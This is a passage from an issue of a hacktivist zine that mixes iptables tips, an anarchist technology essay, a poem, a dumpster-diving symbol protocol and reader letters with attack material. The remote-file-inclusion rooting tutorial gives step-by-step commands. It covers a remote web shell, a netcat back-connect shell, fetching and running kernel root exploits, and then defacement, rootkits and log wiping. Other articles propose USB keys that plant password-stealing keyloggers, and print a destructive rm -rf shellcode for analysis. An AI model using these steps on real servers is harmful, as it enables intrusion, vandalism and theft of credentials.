and you if the following modules are mot loaded you can load them with
modprobe: ip_tables, iptable_filter, xt_multiport
* Add and set up the Accounting table.
iptables -N Accounting
iptables -A INPUT -j Accounting
iptables -A Accounting -o eth0
* For each service add a rule to facilitate tracking. Service here can be a
collection of ports. For example if you were interested in abstracting all
network traffic related to mail and you were running postfix on ports 25 and
26 (you can use port 26 to help some home uses by pass restrictions of their
isps to contact external smtp servers), and imap on 143 and 993 then you
might set up a rule like the following to account for all mail traffic:
iptables -A Accounting -p tcp -m multiport --ports 25,26,143,993
* Collect your data. Information about the current usage can then be tracked
by polling iptables regularly with the following command which will show you
the current counts for the various filters:
iptables -L Accounting -vxn -Z
The last -Z option will clear the count. This could be used for example if
you were checking network usage every 5 minutes to get the network byte count
for a service for the last 5 minutes.
References:[1] Traffic accounting with iptables - a good overview on the OpenVZ
wiki http://wiki.openvz.org/Traffic_accounting_with_iptables
################################################################################
_ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \
( H | o | t ) ( P | i | p | i | n | g )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
_ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( C | o | f | e | e ) ( E | n | e | m | a )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
COFEE is the free M$ forensics tool that was leaked [1] recently. It looks like
it is a pretty basic application. It is geared to police forensics
infrastructure and is meant to do very rudimentary forensics on running windows
computers with the capability of being extended. The basic use case is that some
geek in forensics creates a usb key for the field forensics officer. This key
has a bundled number of applications that will collect data off the running host
ip, network connections, logged in users, etc). The field officer takes the key
and plugs it into the suspect computer which collects the data and then returns
it to the office geek who runs the data from the key through a reporting tool.
I havent actually run the application this is just what I gleaned from the
user manual. There seems to be ways to customize it with specific apps on the
usb key. For example, the key could automatically install a keylogger,
microphone tap, or pull all files matching a certain pattern. This is where
the real threat comes in. If some detective of PI was able to get a hold of
your box and you dont know about it (or you do, but for some reason you
dont restore from backup or reformat) this would be a good way to deploy the
skype bug [1.5], or steal your pgp key via a keylogger. I cant think of anyway
this would work on a Mac [2], I dont think macs come with fat32 drivers
and the XFS (I think this is the mac filesystem) is not supported on windows
(feel free to flame HTZ editors if this is not a fact). It could possibly work
on linux, but would require a little more know how from the field reporter as
they would have to enter commands and stuff. Forensics seems to be pretty
widespread even in small police stations. A friend who got arrested in a
small town in Canada told me that the unencrypted usb stick he had on him
seemed to get run through a EnCase [3] like system that pulled keywords from
the files there and he was questioned about some copies of HTZ that were on the
drive. But is tool useful in our community? Yes! It could be used to easily
install viruses / taps on our targets computers. Here are some use cases:
1) A key is made up with a keylogger that phones home passwords and stuff,
or maybe sniffs the network looking for passwords from the admin, maybe
scans the local net, possibly opens a connection to an outside computer
through the internal firewall allowing remote access. The possibilities
are kinda endless, so long as you have a windows developer.
2) Some adrenaline junkie anarchist gets one of these keys a breaks into
some evil place with computers, plugs this thing in, loads the shit up and
bails, hopefully without getting caught.
3) The @ geeks now have access to the data collected and or the network
depending on what was on the stick. 15 16
RESOURCES:
[1] TPB - http://torrents.thepiratebay.org/5150926/COFEE-Microsoft_Forensic_
Tools.5150926.TPB.torrent
[1.5] While there is a lot of speculation about wether or not Ebay, the
owners of skype, have backdoored the app the only actual evidence and
available code for eavesdropping on skype is a fancy mic tap released
by some disgruntled hacker named carrumba who was hired to write the thing.
https://hackbloc.org/node/2001
http://www.megapanzer.com/source-code/#skypetrojan
[2] Macs do have thier own evil forensics usb key software for police though
called MacLockPick which actually has a lot more features, but costs $499.95
http://subrosasoft.com/OSXSoftware/index.php?main_page=product_
info&cPath=200&products_id=195
[3] EnCase is the defacto forensics software suite from Guidance Software
http://www.guidancesoftware.com/
################################################################################
_ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \
( T | e | c | h | n | l | o | g | y )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
_ _ _
/ \ / \ / \
( a | n | d )
\_/ \_/ \_/
_ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \
( @ | n | a | r | c | h | i | s | m )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
This article is inspired by the Geek Mafia series; thanks for giving us hope.
It is dedicated to the anarchist hackers who have faced or will face the cold
steel bars.
Geek Mafia is a 3 book hacker heist series by Rick Dakan published by PM
Press [1]. The stories follow Paul, an ex-video game designer, as he is pulled
into and eventually falls in love with a world of con-artists and their scams.
In Geek Mafia (book 1), and Geek Mafia: Mile Zero (book 2) there is a lot of
head nodding to anarchist ideology and goals, but it isnt until Geek Mafia:
Black Hat Blues (book 3) that the author has a full on make out party with
anarchy. While the first two books have a lot of hot-hackeron-rooted-network
scenes the third book has a lot of well researched and detailed
examples of owning systems, governments, and multi-national corporations
with all the aesthetic romance of Crimethincs Recipes for Disaster. A few
years ago a simple book by the name of Recipes for Disaster came out. It had
everything in it from how to paint billboards to sexual consent and more.
By the end you felt you had a new tool belt to combat the forces of capitalism
and the state But not once in the hundreds of pages did it seriously consider
technology and its impacts on the anarchist movement. And how could they?
No good anarchist tactics text has. It seems that anarchists as a whole have
a great grasp of how to riot, but when it comes to technology and electronics
we are as silly as a baby with a fork near a socket.
This is more than security culture....
The modern anarchist movement has highly benefited from technology and the
Internet, which is able to disseminate information and has also the privilege
of not facing strong oppression from the state, but I fear that this time
is coming to an end. For too long the anarchist movement and related
movements have enjoyed a freedom normally reserved for main stream computer
users, especially in western nations. Freedom of Speech as the states call it,
but we see a common thread from the state following from more repressive nations
of confiscation of technological devices such as cell phones, laptops and
storage media. Once this information is in the hands of the state, it is copied
and used against us.
What this means for modern anarchists
If anarchists are to stay a fighting force within the political spectrum a
serious consideration of technology and its impacts on our movement is
necessary. This writing hopes to start the conversation.
A serious Security Audit: Defensive Technology
Businesses do this all the time: they hire outside firms to analyze their
networks for weak spots. As an observer and a participant I have taken it
upon myself to preform this audit on the anarchist movement. You can boil
down technological faults to 3 things. we will call them the 3 Es:
Email: The most commonly used form of communication for people on the Internet,
including anarchists. Email lists pre-date much of the social networking we
know now and is still a main use of organizing. Yet email is, by nature, weak.
Email is a postcard, not secure in any way from prying eyes.
Encryption: Encryption is the only way of safety when using technology,
although not an end all be all*, it can help us. Everything of importance
should be encrypted from emails and IM chats (and logs) to full hard drive
encryption. If we encrypt everything, even the stuff that doesnt matter, we
make it that much harder for them to access any of our information.
* Bugs / keyloggers could be installed cheaply [2], and it has long been
speculated that .gov, .mil, and misc consultants have heavy duty computing
power at their disposal to crack encryption [2]. This also ignores the fact
that the metaphorical rubber hose and or threat of jail time is also pretty cheap.
Erasure: It is very important to know how to get rid of information. Many people
think that dragging a file to your trash bin means bye bye, but this is simply
not true. The only true way of getting information off of a media is destroying
it. This also should be considered when posting things online, as logs are kept
for a really long time. Are you sure you want to post about that action on
facebook? Once you delete it you can be guaranteed that someone will have a
copy of it.
By using these 3 faults, you can analyze how your organization is (or is not).
By making your communications secure, you can put up a more defensive wall
against the state. But what if we want to go further?
Getting Serious: Considering Offensive Technology
For what is out there, Defense is the card most anarchists play when
considering technology. When you have a good grasp of defensive technology,
its time to play offense. What does this mean? it means a lot more than
reading 2600 and watching Live Free or Die Hard and masturbating about
how cool it would be to bring down the system through hacking. Offensive
technology is not only about hacking the gibson, its about skills building
and practice. Do you know how to build a transmitter? Can you write code? Do
you know which wire to clip, the red or white? Do you know the concepts behind
EMP? Whats a diode? What is rooting a box? Packet injection?
Cold boot attacks? Logic gates? If most of that you could understand, great!
If not, then why? The state is doing its part in learning and building
all kinds of new technologies; why arent you? The government has teams of
the best hackers on earth to protect itself, when there is a insurrection,
it will be important to find their weak spots and use them. We cant
expect underground hackers to help us when the time is right. We need to
learn these skills now, before the robot armies takes over. I challenge
you this week to learn a technological skill that you always wanted to.
What this means for us
We have a lot of work to do. Education is the first step. Those among
us must throw energy to get less tech-y anarchists on the same page about
the importance of technology in the anarchist movement. It also requires
a great deal of time to skills sharing and building. A technology
conference that involves questioning the state is long over due.
The feds have Defcon, we need Anarchycon! An increase in the use and
utilization of technology does not come without its faults. In 2009
Elliot Madison, who used twitter during the g20, was arrested and his
house raided for reporting police movements. In 2006 Jeremy Hammond was
charged with hacking the conservative site Protest Warrior and served a
little under 2 years in jail. We will see these raids and arrests becoming
more common in the years to come. Its important to learn from the
mistakes of others and realize their contributions.
To a Technological Conscious Insurrection!
Cyberpunks Rise Against Civilization!
References:
[1] Rick Dakan´s website: http://www.rickdakan.
com/books/
PM Press website: http://www.pmpress.org/
content/index.php
[2] An article on police using digital bugs
(keyloggers)
http://news.cnet.com/8301-10784_3-
9741357-7.html
[3] A cost analysis of brute-force cracking
cryptographic hashes using EC2
http://www.theregister.co.uk/2009/11/02/
amazon_cloud_password_cracking/
################################################################################
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( A | n | t | i | - | C | o | p | y | w | r | i | t | t | e | n )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
verse.1;
It was written in revolutionary ink...
Don't be spellbound by tha myths that make ya think...
Conformity. Fuck Merriam N' Webster Too...
Bet You Feel What I'm Spittin N' I ain't Followin Rules...
N Regulations Stations on tha Radio Set...
I'm Tha underground frequency, yer tha bubonic plague...
Yet mental strategies are casualties, ya ghost...
to analytic induced anxieties that roast...
In ya paradigm mindswim automation...
I hope you freeze to death on all tha ice they got you stuck on...!
Do like Nancy Regan N' just say NO!...
I'll bring that guillotine of spontaneous flow...
Of the ghetto. Gutter. Deadlock'd. Punk Rock...
Hip Hop. Hobo. Beanik, Da Theo Nok...
Brown! N' Muthafuck Yo' Radio Play...
N" every single law dat yo' copyrights make...
verse.2;
Commercial Media samsara addicted...
Invasion of tha radio heads inflicted...
with dollar signs n' material wealth...
omen emblems to blind eyes with souls to sell...
sinister implications overtures to fame...
fuck 'em! I refuse to play tha capital game...
n' make tha rich richer till they thinkin like hitler...
That poor
they just get sicker, death it just comes quicker...
So listen. If ya wanta take tha words dat I'm sayin..
N' Jack tha beats N' Play 'em how you want 'em. Portray 'em...
Just don't decay 'em. Cuz me, I'm just here for today...
I'll be gone tomorrow N' someone's takin my place...
This name eon this state I.D. card's just a way...
to keep tracks, where I been, what I've done to dismay...
so Imma Bill N' exchange this identity theft...
N' Anti-Copyright while I disrespect!
################################################################################
# ____ ____ ____ _________ ____ ____ ____ #
# ||H |||O |||W ||| |||T |||O |||S || #
# ||__|||__|||__|||_______|||__|||__|||__|| #
# |/__\|/__\|/__\|/_______\|/__\|/__\|/__\| #
# #
################################################################################
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( P | r | o | t | e | c | t ) ( W | e | b ) ( F | o | l | d | e | r | s )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
If you want to protect a web folder from brute forcing or other hack attempts,
you can make it more secure with a lame method. This lame method is a double
or triple authentication prompt. If a h4x0r got your password, he must
authenticate to the site with the correct password for 2 or 3 times. The first
1 or 2 time(s) he will not access and an authentication prompt will be shown
again ;-) Lets show you how to make that: - It works for your own domain name
or when you can create your subdomains in a free domain or subdomain service -
First of all make sure that your server accepts htaccess password protection.
For Apache see this document: http://httpd.apache.org/docs/1.3/howto/auth.html
You must create one or two subdomains that will point to the folder which you
need to protect. (One for triple authentication and two for more). In this
example we created one: folder.domain.com Check where you web server stores
the htpasswd files. For Apache look a dir called: .htpasswds e.g
/home/username/.htpasswds/ If you are the server admin look the server config.
We will need this to fill in the data below.
If you dont have any folder you can create a folder before the public_html or
www folder in order to put the passwd file that stores the login and password
info. Dont create the folder in a public dir for security reasons! We must
create the passwd file with the password we want in this folder. We can go
to: http://www.htaccesstools.com/htpasswd-generator/ and we can create the
content of the passwd file. We use this in order to make an encrypted password.
We must save it as: .htpasswd A typical .htpasswd file looks like:
username:cGyUX9QugYMgE
Now make a new file in the web folder that you need to protect with
this inside (edited):
- For our example the dir that we want to protect is: /home/username/folder
that goes to www.domain.com/folder -
RewriteEngine on
AuthType Basic
AuthName Password Protected Area
require valid-user
AuthUserFile /path/to/.htpasswd
RewriteCond %{HTTP_HOST} ^folder.domain.com$ [OR]
RewriteCond %{HTTP_HOST} ^www.folder.domain.com$
RewriteRule ^(.*)$ http://www.domain.com/folder [R=301,L]
- Edit to your own settings -
1) Change: /path/to/.htpasswd to your own htpasswds folder
(See above for instructions)
2) Change ^folder.domain.com$ to your own subdomain that you have created
3) Change also ^www.folder.domain.com$ to your subdomain. YOU MUST KEEP THE
www BEFORE subdomain.domain.com !!!
4) Change the http://www.domain.com/folder to the folder that you need to
protect. You must put the dir not the subdomain.
Save it as: .htaccess
Thats it
Enjoy!
Kernel Panic <kernel_panic@codebomb.org>
################################################################################
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( R.| F.| I.) ( R | o | o | t | i | n | g ) ( T | u | t | o | r | i | a | l )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
R.F.I. Rooting Tutorial (Linux Server and Safe Mod: OFF)
Author: An@sA_StAxtH
Mail/MSN: admin@cyberanarchy.org/anasa_staxth@hotmail.com
For Cyber Anarchy (Nov. 2007)
You will need:
- Vulnerable Site in R.F.I.
- Shell for R.F.I. (e.g. c99, r57 or other)
- NetCat
- Local Root Exploit (depending on the kernel/version)
This aim tutorial is to give a very general picture in process of Rooting in
Linux Server with Safe Mod: OFF. Suppose that we have found a site with R.F.I.
vulnerability: http://www.hackedsite.com/folder/index.html?page=
We can run shell exploiting Remote File Inclusion, as follows:
http://www.hackedsite.com/folder/index.html?page=http://www.mysite.com
/shells/evilscript.txt? where evilscript.txt is our web shell that we have
already uploaded to our site. (www.mysite.com in the folder: shells)
After we enter in shell, first of all we will see the version of the kernel
at the top of the page or by typing: uname - a in Command line. To continue
we must connect with backconnection to the box. This can done with two ways
if we have the suitable shell. We can use the Back-Connect module of r57/c99
shell or to upload a backconnector in a writable folder In most of the shells
there is a backconnection feature without to upload the Connect Back Shell
(or another one shell in perl/c). We will analyze the first way which is
inside the shell (in our example the shell is r57). Initially we open NetCat
and give to listen in a specific port (this port must be correctly opened/
forwarded in NAT/Firewall if we have a router) with the following way:
We will type: 11457 in the port input (This is the default port for the last
versions of r57 shell). We can use and other port.
We press in Windows Start -> Run -> and we type: cmd
After we will go to the NetCat directory:
cd C:\Program Files\Netcat
And we type the following command:
nc -n -l -v -p 11457
NetCat respond: listening on [any] 11457 ...
In the central page of r57 shell we find under the following menu::: Net::
and back-connect. In the IP Form we will type our IP (www.cmyip.com to see
our ip if we have dynamic)
In the Port form we will put the port that we opened and NetCat listens.
If we press connect the shell will respond: Now script try connect to
<IP here> port 11457 ... If our settings are correct NetCat will give us a
shell to the server Now we will continue to the Rooting process.
We must find a writable folder in order to download and compile the Local
Root Exploit that will give us root privileges in the box. Depending on
the version of the Linux kernel there are different exploits. Some times
the exploits fail to run because some boxes are patched or we dont have
the correct permissions.
List of the exploits/kernel:
2.4.17 -> newlocal, kmod, uselib24
2.4.18 -> brk, brk2, newlocal, kmod
2.4.19 -> brk, brk2, newlocal, kmod
2.4.20 -> ptrace, kmod, ptrace-kmod, brk, brk2
2.4.21 -> brk, brk2, ptrace, ptrace-kmod
2.4.22 -> brk, brk2, ptrace, ptrace-kmod
2.4.22-10 -> loginx
2.4.23 -> mremap_pte
2.4.24 -> mremap_pte, uselib24
2.4.25-1 -> uselib24
2.4.27 -> uselib24
2.6.2 -> mremap_pte, krad, h00lyshit
2.6.5 -> krad, krad2, h00lyshit
2.6.6 -> krad, krad2, h00lyshit
2.6.7 -> krad, krad2, h00lyshit
2.6.8 -> krad, krad2, h00lyshit
2.6.8-5 -> krad2, h00lyshit
2.6.9 -> krad, krad2, h00lyshit
2.6.9-34 -> r00t, h00lyshit
2.6.10 -> krad, krad2, h00lyshit
2.6.13 -> raptor, raptor2, h0llyshit, prctl
2.6.14 -> raptor, raptor2, h0llyshit, prctl
2.6.15 -> raptor, raptor2, h0llyshit, prctl
2.6.16 -> raptor, raptor2, h0llyshit, prctl
We will see the case of 2.6.8 Linux kernel. We will need the h00lyshit
exploit. Some sites that we can find Local Root Exploits:
www.milw0rm (Try Search: linux kernel)
Other sites: www.packetstormsecurity.org | www.arblan.com or try Google,
you can find em all ;-)
We can find writable folders/files by typing: find / -perm -2 -ls
We can use the /tmp folder which is a standard writable folder, we
type: cd /tmp.
To download the local root exploit we can use a download command for
linux like wget. For example:
wget http://www.arblan.com/localroot/h00lyshit.c
where http://www.arblan.com/localroot/h00lyshit.c is the url of
h00lyshit.
After the download we must compile the exploit (Read the instruction
of the exploit before the compile) For the h00lyshit we must type:
gcc h00lyshit.c -o h00lyshit Now we have created the executable
file: h00lyshit. The command to run this exploit is: ./h00lyshit
<very big file on the disk> We need a very big file on the disk in
order to run successfully and to get root. We must create a big
file in /tmp or into another writable folder. The command is:
dd if=/dev/urandom of=largefile count=2M where largefile is the
filename. We must wait 2-3 minutes for the file creation. If
this command fails we can try:
dd if=/dev/zero of=/tmp/largefile count=102400
bs=1024
Now we can proceed to the last step. We can run the exploit by typing:
./h00lyshit largefile or
./h00lyshit /tmp/largefile
(If we are in a different writable folder and the largefile is created in /tmp).
If there are not running errors (maybe the kernel is patched or is something
wrong with exploit run or large file) we will get root To check if we got root:
id or whoami
If it says root we got root! Now we can deface/mass deface all the sites of
the server or to setup a rootkit (e.g. SSHDoor) and to take ssh/telnet shell
access to the server. We must erase all logs in order to be safe with a log
cleaner. A good cleaner for this job is the MIG Log Cleaner.
<An@sA_StAxtH> <admin@cyberanarchy.org>
<www.cyberanarchy.org>
################################################################################
_ _ _ _ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( G | L | F ) ( B | i | n | w | r | i | t | i | n | g )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
_ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \
( P | r | o | t | o | c | o | l )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
TABLE OF CONTENTS
1. Introduction
2. The BINWRITING Model
3. Accepted Modes of Comment
Anti-(C)opyright / Public Domain.
Miskatonic University, trashingourrights@miskatonic.edu
1. INTRODUCTION
---------------
Theres a war going on out in our curbs, parking lots, and shopping centers.
Dumpster divers are being harassed, dumpsters are being locked up, capitalism
is trying to fix what is perhaps the most beautiful loophole it ever made -- a
loophole that enables people to get free shit that would otherwise require them
to surrender their labor and freedom to obtain.
The objective of the BINWRITING PROTOCOL is to transfer the excessive waste
generated by business as usual to those community members who are seeking it,
defend those who dive, and make our diving habits more effective -- eventually
turning them into a revolutionary tool. Those who look in dumpsters often waste
significant amounts of time looking through those which never have anything of
interest in them. In some situations, divers are hurt by the contents of
dumpsters or those who are used to guard them.
This protocol operates through chalking/markings/signs left near or on the
dumpster. These markings indicate the safety, reliability, and utility of the
dumpster.
An important feature of this protocol is that it allows anybody to participate
in it and even change the protocol to suit their particular needs without
threatening the protocols existence or utility.
2. The BINWRITING Model
-----------------------
The BINWRITING model is designed to be simple, easy to use, effective, and
flexible. It protects the user from dumpsters that are dangerous, saves them
time by indicating which dumpsters are worth looking at, and allows resources
to be allocated in a truly democratic way. There are several symbols which are
used in this proposal to indicate the value of a dumpster. As this is a proposal,
we are asking that discussion around this proposal exist and be published widely
through whichever channel you prefer. These symbols can be combined in any
variety that makes sense to the user and additional symbols not defined in the
protocol can be added at the users convenience.
1. Open
/
/
\
\
This symbol, which is essentially a greater than symbol indicates that a
dumpster is open and not hindered by locks, chains, or other methods of protection.
It is generally safe to look in and is not protected by guard dogs or any other
dangerous items.
2. Closed
\ /
\/
/\
/ \
This symbol means that a dumpster is closed or dangerous. Its a diver beware
notice. Adding multiples of this symbol can be used to demonstrate the severity of
a situation. For instance, a single symbol simply means that a dumpster is closed/
locked. Multiple symbols can be used to indicate a threat to safety, etc. If
this symbol is added inside the open symbol (like the open symbol was a crocodile
about to eat it) it would indicate that the dumpster was open but had nothing good
in it. Multiples of this symbol would indicate that it was open but contained
hazardous materials such as used needles, broken glass, biohazards, toxic
chemicals, etc.
3. Good
|
---+---
|
This symbol indicates that a dumpster is worth looking in and usually has things
of value (consumer goods, food, money, etc.). It is a giant plus. Multiples of
this symbol show that the dumpster is very good. This can be used with the open
symbol side-by-side or as an additive inside the open symbol. When used with
the closed symbol, it indicates that while the dumpster is locked/hazardous,
there are good things inside.
4. Battlegrounds
&&&
&&_|_&&
&& | &&
&&&
This symbol (crosshairs) indicates that a dumpster is a source of controversy.
This commonly happens when a good dumpster suddenly gets locked, is turned into
a compactor, etc. People are actively fighting to maintain this dumpster as
(or turn it into) a community resource. When this is added it is a call to other
divers and community members to join in on the fight.
3. ACCEPTED MODES OF COMMENT
----------------------------
You may comment on this proposal through any channel you choose. We will be
prowling the internets for references to this protocol, and if you put your
comments/changes on an indymedia site or other community news site (infoshop,
anarchistnews, etc.) it is more likely to be found. Comments may also be sent
into the publication where you originally found this proposal.
After the public comment period (several months to allow for actual use), we will
consider all ideas/criticisms that have been presented and try to improve the
proposal. The final result will be published through these same channels.
- May 2009 -
Garbage Liberation Front
Arkham, MA, USA
################################################################################
DIGESTING_SHELLCODE_LIKE_A_MOLLUSK:
-----------------------------------
Have you ever been looking on the net for some sick sploits and come across what
you think might be a sick 0day? Word! Your pumped! But how do you know if you can
trust that chunk of shellcode in there not to join your box to someone elses
bot farm?
You need to check out that shell code of course, but how? The following simple
perl app[9] that will dump the shellcode to a file so that we can disassemble it.
<code>
#!/usr/bin/perl -w
use strict;
# This is the shellcode from HTZ #8 (txt only) ssh 0day
my $shellcode =
\x6a\x0b\x58\x31\xf6\x56\x6a\x2f\x89\xe7\x56\x66\x68\x2d\x66.
\x89\xe2\x56\x66\x68\x2d\x72\x89\xe1\x56\x68\x2f\x2f\x72\x6d.
\x68\x2f\x62\x69\x6e\x89\xe3\x56\x57\x52\x51\x53\x89\xe1\x31.
\xd2\xcd\x80;
open(FILE, >shellcode.bin);
print FILE $shellcode;
close(FILE);
</code>
Save the file out (ie. 0day.pl), and run it. The resulting binary file will be
called shellcode.bin. You can now use ndisasm (from the nasm package), or udcli
from the Udis86 project[10]. It is reported by postmodern that the Udis86
disassembler does a better job of handling relative jumps, it also supports
AT&T assembler syntax and Intel syntax, where as nasm only supports Intel syntax.
I tried both disassemblers and both gave relatively the same output.
<commandline>
$ ndiasm -b 32 shellcode.bin > shellcode.s
</commandline>
You will now have a assembly file that will contain the reversed asm for your
shell code. The process of figuring out what it does is now a project of looking
up each opcode in a reference manual for the architecture you compiled this on
(see refernces at bottom of article).
Below is the assembly file generated by gcc that I have gone through, looked up
the opcodes, and documented in line. I stripped the address information as it is
not relavant to this shellcode.
<code>
push byte +0xb ;
; push 11 onto the stach ;
; This is the system call number for sys_execve [11]
pop eax;
; pop it off into eax. ;
;This is the register that is looked for when the
; processor is interrupted for a system call (int 0x80)
xor esi,esi ;
; clear esipush esi
; push 0 onto the stack push byte +0x2f
; push 47 on the stack mov edi,esp
; edi holds the stack pointer
; /
push esi ;
; push 0 on the stack again
; Null terminating?push word 0x662d
; push 0x662d on the stack? mov edx,esp
; edx holds the stack now too
; -f
push esi ;
; push 0on the stack again push word 0x722d
; push 0x722d on the stack
; this will be regs.ecx or ARGV
; -rmov ecx,esp
; ecx has the stack pointer now
push esi ;
; push 0 on the stack again
; Null terminating a string?
push 0x6d722f2f ;
;/bin//rm push 0x6e69622f mov ebx,esp
; ebx has the stack pointer
; this is used by sys_execve as the
; struct pt_regs arg
push esi ;
; push 0 on the stack again
push edi
; Then it looks like the rest of the stack
; is filled up with values for the remaining data
; structure required by sys_execve()
push edx
push ecx
push ebx
mov ecx,esp
xor edx,edx ; 0 out edx
int 0x80 ;
execve()
</code>
As you can see this is not a very friendly shellcode. I would
recommend against running this 0day*. It can be useful to work from the
bottom up. It should also be pointed out that strings are in reverse order
then what you might expect. ie 0x6e69622f represents /bin event though
2f = /, 62 = b, 69 = i, and 6e = n.
References:
[1] http://blog.threatfire.com/2007/12/toolfor-shellcode-analysis.html -
Idea for writing a simple c app to run the shell code so that you can
examine it in a debugger like gdb.
[2] http://asm.sourceforge.net/ - A great resource for assembly
programming in linux.
[3] http://asm.sourceforge.net/howto/ - The linux assembly howto.
[4] http://download.savannah.gnu.org/releases/pgubook/
ProgrammingGroundUp- 1-0-booksize.pdf - A pdf of the book programming
from the ground up. I have no idea if this is a decent book, or not,
but it was the only AT&T syntax reference I could find. WTF! Check
out Appendix B (p263)
[5] http://www.phiral.net/linuxasmone.htm - A great article covering
linux assembly and disassembly.
[6] http://www.swansontec.com/sregisters. html - A description of
x86 registers and their common uses.
[7] http://stupefydeveloper.blogspot.com/2009/01/
c-executing-shellcode.html - An article on executing shell code.
[8] http://kellyjones.netfirms.com/webtools/ascii_utf8_table.shtml
- this is the ascii/UTF8 lookup table you have been searching for.
[9] http://www.safemode.org/files/zillion/shellcode/doc/
Writing_shellcode.html - An in depth article on writing shellcode
and common vectors. Also has some description on disassembling
shellcode.
[10] http://udis86.sourceforge.net/ - A better disassembler then
whay nasm offers. In fact it provides a disassembly API, which is
used by the sophsec/udis86-ffi ruby bindings. This will eventually be
integrated into ronin for binary analysis.
[11] http://bluemaster.iu.hio.no/edu/dark/linasm/syscalls.html - A linux
system call reference.
[12] This advice does not apply for snitches, pigs, or members of National
Anarchists. I have a longer list, but this will have to do for now.
################################################################################
# ____ ____ ____ ____ #
# ||M |||I |||S |||C || #
# ||__|||__|||__|||__|| #
# |/__\|/__\|/__\|/__\| #
# #
################################################################################
LETTERS_TO_THE_EDITOR
---------------------
HTZ's inbox was full of letters/emails sent in. Here are just a few:
================================================================================
Date: Wed, 17 Jun 2009 19:51:34
From: Enalotto Director/Co-ordinator
Dear esteemed recipient,
You have to confirm your win by sending an email with your full = name,Address,
Mobile phone number and your winning code.You have been = selected due to the
fact that you have sent more than 3 txts/email = messages in 2months.
Endeavour to Call +393273337926 and ask for Mr.Smith Stafan(Claims = Director)
to confirm your Two Million United States Dollar win. Quote code: 09PAD when
calling to your claims director.
Or when sending an email response,send to: smithstafan@yahoo.com.hk
This is an opportunity you cannot afford to missout on.Get back to us =
Now!!!
Enalotto Award Team.
================================================================================
Date: Sun, 21 Jun 2009 12:11:56
From: From: Rennix Oldenburger <warpath@bebenek.de>
Kaama Sutra of Fellatiio - Fellatio Positions for Better Orgasms (wwwshop95net)
Day-release convicts cauhgt grwoing cannabis
================================================================================
Date: Mon, 19 Oct 2009 11:00:24 -0700 (PDT)
From: emeraldv8@aol.com
Subject: [website and zine feedback loop] need advice/ help have been hacked
dear sir , madam, i believe that my p.c is being hacked/stalked, what can i
do, thankyou
================================================================================
Date: Mon, 19 Oct 2009 11:02:29 -0700 (PDT)
Subject: [website and zine feedback loop] need advice/ help have been hacked
there is more to this than hacking, as i noticed you were trying to keep a
safe, free internet, i have more information,what can i do, thanyou
================================================================================
################################################################################
CREDITS_AND_SHOUTS:
-------------------
A magazine of this magnitude takes hundreds of hours to put together, not to
mention a strong backing from many people. We do appreciate everybodys work
and effort they put into the creation of this project.
There is a good chance that we may have forgotten to mention someone for their
effort, if this is the case please let us know so we can give you the credit
you deserve!
Hackbloc Staff: Zine Staff:
--------------- -----------
alxCIAda alxCIAda
Doll Evoltech
Evoltech Flatline
Flatline Frenzy
Frenzy Hexbomber
Hexbomber Kuroishi
Impact Ringo
Kuroishi Sally
Ringo whooka
Sally
whooka
Electronic copies of the zine are available free online at the Hackbloc
website (www.hackbloc.org/zine/). There are two versions of the zine:
a full color graphical PDF version wich is best for printing and also includes
all sorts of extras, as well as a raw TXT version for a more readable and
compatible format.
Having the zine in your hands is still the best way to experience it. If you
cant print your own (double sided 8.5x11) than you can order copies of this
issue and most back issues from our friends at Microcosm Publishing
(www.microcosmpublishing.com) who are based out of Bloomington, IN.
We are always seeking translators to translate HackThisZine into other
languages, if your interested in working with us to translate this issue
please send us an e-mail at: staff@HackBloc.org.
A SPECIAL THANKS TO OUR COMRADES: Activix, Adbusters, Binary Freedom, DOD.net,
Electronic Frontier Foundation, Federal Jack, Free DNS, Free the RNC 8,
HackThisSite, Infoshop, Microcosm Publishing, Noise Bridge, Slingshot, TechYum,
The Long Haul, Wikileaks, ZineLibrary.info, Hacktivist.com, Hellbound Hackers.
NOTE: We are always looking for more content. If we didnt get a chance to use
your submission this time well get it in next time around! Feel free to submit
anything you feel that would fit well. This includes but is not limited to:
artwork, poetry, stories, informational articles, how to, guides, pictures,
and even your time!
PLEASE SEND SUBMISSIONS TO: HACKTHISZINE@LISTS.HACKBLOC.ORG
################################################################################
_ __ __ _ _
| | / _| / _(_) |
___ _ __ __| | ___ | |_ | |_ _| | ___
/ _ \ '_ \ / _` | / _ \| _| | _| | |/ _ \
| __/ | | | (_| | | (_) | | | | | | | __/
\___|_| |_|\__,_| \___/|_| |_| |_|_|\___|
